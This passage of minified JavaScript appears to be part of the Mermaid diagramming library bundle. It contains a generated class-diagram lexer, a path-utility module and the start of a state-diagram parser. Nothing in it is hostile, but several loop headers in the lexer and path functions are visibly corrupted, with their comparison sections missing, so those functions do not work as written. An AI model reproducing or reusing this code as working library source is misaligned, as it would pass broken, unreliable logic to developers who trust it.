0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},F={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),18;case 1:return 7;case 2:return 8;case 3:return 9;case 4:return 10;case 5:return this.begin("type_directive"),19;case 6:return this.popState(),this.begin("arg_directive"),16;case 7:return this.popState(),this.popState(),21;case 8:return 20;case 9:case 10:break;case 11:return 15;case 12:break;case 13:case 14:return 22;case 15:return this.begin("struct"),39;case 16:return"EOF_IN_STRUCT";case 17:return"OPEN_IN_STRUCT";case 18:return this.popState(),41;case 19:break;case 20:return"MEMBER";case 21:return 37;case 22:return 63;case 23:return 56;case 24:return 57;case 25:return 59;case 26:return 42;case 27:return 43;case 28:this.begin("generic");break;case 29:this.popState();break;case 30:return"GENERICTYPE";case 31:this.begin("string");break;case 32:this.popState();break;case 33:return"STR";case 34:this.begin("bqstring");break;case 35:this.popState();break;case 36:return"BQUOTE_STR";case 37:this.begin("href");break;case 38:this.popState();break;case 39:return 62;case 40:this.begin("callback_name");break;case 41:this.popState();break;case 42:this.popState(),this.begin("callback_args");break;case 43:return 60;case 44:this.popState();break;case 45:return 61;case 46:case 47:case 48:case 49:return 58;case 50:case 51:return 51;case 52:case 53:return 53;case 54:return 52;case 55:return 50;case 56:return 54;case 57:return 55;case 58:return 31;case 59:return 38;case 60:return 75;case 61:return"DOT";case 62:return"PLUS";case 63:return 72;case 64:case 65:return"EQUALS";case 66:return 79;case 67:return"PUNCTUATION";case 68:return 78;case 69:return 77;case 70:return 74;case 71:return 24}},rules:[/^(?:%%\{)/,/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:((?:(?!\}%%)[^:.])*))/,/^(?::)/,/^(?:\}%%)/,/^(?:((?:(?!\}%%).|\n)*))/,/^(?:%%(?!\{)*[^\n]*(\r?\n?)+)/,/^(?:%%[^\n]*(\r?\n)*)/,/^(?:(\r?\n)+)/,/^(?:\s+)/,/^(?:classDiagram-v2\b)/,/^(?:classDiagram\b)/,/^(?:[{])/,/^(?:$)/,/^(?:[{])/,/^(?:[}])/,/^(?:[\n])/,/^(?:[^{}\n]*)/,/^(?:class\b)/,/^(?:cssClass\b)/,/^(?:callback\b)/,/^(?:link\b)/,/^(?:click\b)/,/^(?:<<)/,/^(?:>>)/,/^(?:[~])/,/^(?:[~])/,/^(?:[^~]*)/,/^(?:["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:[`])/,/^(?:[`])/,/^(?:[^`]+)/,/^(?:href[\s]+["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:\s*<\|)/,/^(?:\s*\|>)/,/^(?:\s*>)/,/^(?:\s*<)/,/^(?:\s*\*)/,/^(?:\s*o\b)/,/^(?:--)/,/^(?:\.\.)/,/^(?::{1}[^:\n;]+)/,/^(?::{3})/,/^(?:-)/,/^(?:\.)/,/^(?:\+)/,/^(?:%)/,/^(?:=)/,/^(?:=)/,/^(?:\w+)/,/^(?:[!"#$%&'*+,-.`?\\/])/,/^(?:[0-9]+)/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\s)/,/^(?:$)/],conditions:{arg_directive:{rules:[7,8],inclusive:!1},type_directive:{rules:[6,7],inclusive:!1},open_directive:{rules:[5],inclusive:!1},callback_args:{rules:[44,45],inclusive:!1},callback_name:{rules:[41,42,43],inclusive:!1},href:{rules:[38,39],inclusive:!1},struct:{rules:[16,17,18,19,20],inclusive:!1},generic:{rules:[29,30],inclusive:!1},bqstring:{rules:[35,36],inclusive:!1},string:{rules:[32,33],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,9,10,11,12,13,14,15,21,22,23,24,25,26,27,28,31,34,37,40,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71],inclusive:!0}}};function P(){this.yy={}}return R.lexer=F,P.prototype=R,R.Parser=P,new P}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e){},function(t,e,n){(function(t){function n(t,e){for(var n=0,r=t.length-1;r>=0;r--){var i=t[r];"."===i?t.splice(r,1):".."===i?(t.splice(r,1),n++):n&&(t.splice(r,1),n--)}if(e)for(;n--;n)t.unshift("..");return t}function r(t,e){if(t.filter)return t.filter(e);for(var n=[],r=0;r=-1&&!i;a--){var o=a>=0?arguments[a]:t.cwd();if("string"!=typeof o)throw new TypeError("Arguments to path.resolve must be strings");o&&(e=o+"/"+e,i="/"===o.charAt(0))}return(i?"/":"")+(e=n(r(e.split("/"),(function(t){return!!t})),!i).join("/"))||"."},e.normalize=function(t){var a=e.isAbsolute(t),o="/"===i(t,-1);return(t=n(r(t.split("/"),(function(t){return!!t})),!a).join("/"))||a||(t="."),t&&o&&(t+="/"),(a?"/":"")+t},e.isAbsolute=function(t){return"/"===t.charAt(0)},e.join=function(){var t=Array.prototype.slice.call(arguments,0);return e.normalize(r(t,(function(t,e){if("string"!=typeof t)throw new TypeError("Arguments to path.join must be strings");return t})).join("/"))},e.relative=function(t,n){function r(t){for(var e=0;e=0&&""===t[n];n--);return e>n?[]:t.slice(e,n-e+1)}t=e.resolve(t).substr(1),n=e.resolve(n).substr(1);for(var i=r(t.split("/")),a=r(n.split("/")),o=Math.min(i.length,a.length),s=o,c=0;c=1;--a)if(47===(e=t.charCodeAt(a))){if(!i){r=a;break}}else i=!1;return-1===r?n?"/":".":n&&1===r?"/":t.slice(0,r)},e.basename=function(t,e){var n=function(t){"string"!=typeof t&&(t+="");var e,n=0,r=-1,i=!0;for(e=t.length-1;e>=0;--e)if(47===t.charCodeAt(e)){if(!i){n=e+1;break}}else-1===r&&(i=!1,r=e+1);return-1===r?"":t.slice(n,r)}(t);return e&&n.substr(-1*e.length)===e&&(n=n.substr(0,n.length-e.length)),n},e.extname=function(t){"string"!=typeof t&&(t+="");for(var e=-1,n=0,r=-1,i=!0,a=0,o=t.length-1;o>=0;--o){var s=t.charCodeAt(o);if(47!==s)-1===r&&(i=!1,r=o+1),46===s?-1===e?e=o:1!==a&&(a=1):-1!==e&&(a=-1);else if(!i){n=o+1;break}}return-1===e||-1===r||0===a||1===a&&e===r-1&&e===n+1?"":t.slice(e,r)};var i="b"==="ab".substr(-1)?function(t,e,n){return t.substr(e,n)}:function(t,e,n){return e<0&&(e=t.length+e),t.substr(e,n)}}).call(this,n(12))},function(t,e,n){var r=n(109),i="object"==typeof self&&self&&self.Object===Object&&self,a=r||i||Function("return this")();t.exports=a},function(t,e,n){var r;try{r=n(3)}catch(t){}r||(r=window.graphlib),t.exports=r},function(t,e){t.exports=function(t){return null!=t&&"object"==typeof t}},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,2],n=[1,3],r=[1,5],i=[1,7],a=[2,5],o=[1,15],s=[1,17],c=[1,19],u=[1,20],l=[1,21],h=[1,22],f=[1,30],d=[1,23],p=[1,24],y=[1,25],g=[1,26],m=[1,27],v=[1,32],b=[1,33],x=[1,34],_=[1,35],k=[1,31],w=[1,38],T=[1,4,5,14,15,17,19,20,22,23,24,25,26,27,36,37,38,39,42,45],E=[1,4,5,12,13,14,15,17,19,20,22,23,24,25,26,27,36,37,38,39,42,45],C=[1,4,5,7,14,15,17,19,20,22,23,24,25,26,27,36,37,38,39,42,45],S=[4,5,14,15,17,19,20,22,23,24,25,26,27,36,37,38,39,42,45],A={trace:function(){},yy:{},symbols_:{error:2,start:3,SPACE:4,NL:5,directive:6,SD:7,document:8,line:9,statement:10,idStatement:11,DESCR:12,"--\x3e":13,HIDE_EMPTY:14,scale:15,WIDTH:16,COMPOSIT_STATE:17,STRUCT_START:18,STRUCT_STOP:19,STATE_DESCR:20,AS:21,ID:22,FORK:23,JOIN:24,CHOICE:25,CONCURRENT:26,note:27,notePosition:28,NOTE_TEXT:29,direction:30,openDirective:31,typeDirective:32,closeDirective:33,":":34,argDirective:35,direction_tb:36,direction_bt:37,direction_rl:38,direction_lr:39,eol:40,";":41,EDGE_STATE:42,left_of:43,right_of:44,open_directive:45,type_directive:46,arg_directive:47,close_directive:48,$accept:0,$end:1},terminals_:{2:"error",4:"SPACE",5:"NL",7:"SD",12:"DESCR",13:"--\x3e",14:"HIDE_EMPTY",15:"scale",16:"WIDTH",17:"COMPOSIT_STATE",18:"STRUCT_START",19:"STRUCT_STOP",20:"STATE_DESCR",21:"AS",22:"ID",23:"FORK",24:"JOIN",25:"CHOICE",26:"CONCURRENT",27:"note",29:"NOTE_TEXT",34:":",36:"direction_tb",37:"direction_bt",38:"direction_rl",39:"direction_lr",41:";",42:"EDGE_STATE",43:"left_of",44:"right_of",45:"open_directive",46:"type_directive",47:"arg_directive",48:"close_directive"},productions_:[0,[3,2],[3,2],[3,2],[3,2],[8,0],[8,2],[9,2],[9,1],[9,1],[10,1],[10,2],[10,3],[10,4],[10,1],[10,2],[10,1],[10,4],[10,3],[10,6],[10,1],[10,1],[10,1],[10,1],[10,4],[10,4],[10,1],[10,1],[6,3],[6,5],[30,1],[30,1],[30,1],[30,1],[40,1],[40,1],[11,1],[11,1],[28,1],[28,1],[31,1],[32,1],[35,1],[33,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 4:return r.setRootDoc(a[s]),a[s];case 5:this.$=[];break;case 6:"nl"!=a[s]&&(a[s-1].push(a[s]),this.$=a[s-1]);break;case 7:case 8:this.$=a[s];break;case 9:this.$="nl";break;case 10:this.$={stmt:"state",id:a[s],type:"default",description:""};break;case 11:this.$={stmt:"state",id:a[s-1],type:"default",description:r.trimColon(a[s])};break;case 12:this.$={stmt:"relation",state1:{stmt:"state",id:a[s-2],type:"default",description:""},state2:{stmt:"state",id:a[s],type:"default",description:""}};break;case 13:this.$={stmt:"relation",state1:{stmt:"state",id:a[s-3],type:"default",description:""},state2:{stmt:"state",id:a[s-1],type:"default",description:""},description:a[s].substr(1).trim()};break;case 17:this.$={stmt:"state",id:a[s-3],type:"default",description:"",doc:a[s-1]};break;case 18:var c=a[s],u=a[s-2].trim();if(a[s].match(":")){var l=a[s].split(":");c=l[0],u=[u,l[1]]}this.$={stmt:"state",id:c,type:"default",description:u};break;case 19:this.$={stmt:"state",id:a[s-3],type:"default",description:a[s-5],doc:a[s-1]};break;case 20:this.$={stmt:"state",id:a[s],type:"fork"};break;case 21:this.$={stmt:"state",id:a[s],type:"join"};break;case 22:this.$={stmt:"state",id:a[s],type:"choice"};break;case 23:this.$={stmt:"state",id:r.getDividerId(),type:"divider"};break;case 24:this.$={stmt:"state",id:a[s-1].trim(),note:{position:a[s-2].trim(),text:a[s].trim()}};break;case 30:r.setDirection("TB"),this.$={stmt:"dir",value:"TB"};break;case 31:r.setDirection("BT"),this.$={stmt:"dir",value:"BT"};break;case 32:r.setDirection("RL"),this.$={stmt:"dir",value:"RL"};break;case 33:r.setDirection("LR"),this.$={stmt:"dir",value:"LR"};break;case 36:case 37:this.$=a[s];break;case 40:r.parseDirective("%%{","open_directive");break;case 41:r.parseDirective(a[s],"type_directive");break;case 42:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 43:r.parseDirective("}%%","close_directive","state")}},table:[{3:1,4:e,5:n,6:4,7:r,31:6,45:i},{1:[3]},{3:8,4:e,5:n,6:4,7:r,31:6,45:i},{3:9,4:e,5:n,6:4,7:r,31:6,45:i},{3:10,4:e,5:n,6:4,7:r,31:6,45:i},t([1,4,5,14,15,17,20,22,23,24,25,26,27,36,37,38,39,42,45],a,{8:11}),{32:12,46:[1,13]},{46:[2,40]},{1:[2,1]},{1:[2,2]},{1:[2,3]},{1:[2,4],4:o,5:s,6:28,9:14,10:16,11:18,14:c,15:u,17:l,20:h,22:f,23:d,24:p,25:y,26:g,27:m,30:29,31:6,36:v,37:b,38:x,39:_,42:k,45:i},{33:36,34:[1,37],48:w},t([34,48],[2,41]),t(T,[2,6]),{6:28,10:39,11:18,14:c,15:u,17:l,20:h,22:f,23:d,24:p,25:y,26:g,27:m,30:29,31:6,36:v,37:b,38:x,39:_,42:k,45:i},t(T,[2,8]),t(T,[2,9]),t(T,[2,10],{12:[1,40],13:[1,41]}),t(T,[2,14]),{16:[1,42]},t(T,[2,16],{18:[1,43]}),{21:[1,44]},t(T,[2,20]),t(T,[2,21]),t(T,[2,22]),t(T,[2,23]),{28:45,29:[1,46],43:[1,47],44:[1,48]},t(T,[2,26]),t(T,[2,27]),t(E,[2,36]),t(E,[2,37]),t(T,[2,30]),t(T,[2,31]),t(T,[2,32]),t(T,[2,33]),t(C,[2,28]),{35:49,47:[1,50]},t(C,[2,43]),t(T,[2,7]),t(T,[2,11]),{11:51,22:f,42:k},t(T,[2,15]),t(S,a,{8:52}),{22:[1,53]},{22:[1,54]},{21:[1,55]},{22:[2,38]},{22:[2,39]},{33:56,48:w},{48:[2,42]},t(T,[2,12],{12:[1,57]}),{4:o,5:s,6:28,9:14,10:16,11:18,14:c,15:u,17:l,19:[1,58],20:h,22:f,23:d,24:p,25:y,26:g,27:m,30:29,31:6,36:v,37:b,38:x,39:_,42:k,45:i},t(T,[2,18],{18:[1,59]}),{29:[1,60]},{22:[1,61]},t(C,[2,29]),t(T,[2,13]),t(T,[2,17]),t(S,a,{8:62}),t(T,[2,24]),t(T,[2,25]),{4:o,5:s,6:28,9:14,10:16,11:18,14:c,15:u,17:l,19:[1,63],20:h,22:f,23:d,24:p,25:y,26:g,27:m,30:29,31:6,36:v,37:b,38:x,39:_,42:k,45:i},t(T,[2,19])],defaultActions:{7:[2,40],8:[2,1],9:[2,2],10:[2,3],47:[2,38],48:[2,39],50:[2,42]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",c=0,u=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var m=p.yylloc;a.push(m);var v=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var x,_,k,w,T,E,C,S,A,M={};;){if(k=n[n.length-1],this.defaultActions[k]?w=this.defaultActions[k]:(null==x&&(x=b()),w=o[k]&&o[k][x]),void 0===w||!w.length||!w[0]){var O="";for(E in A=[],o[k])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},M={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var 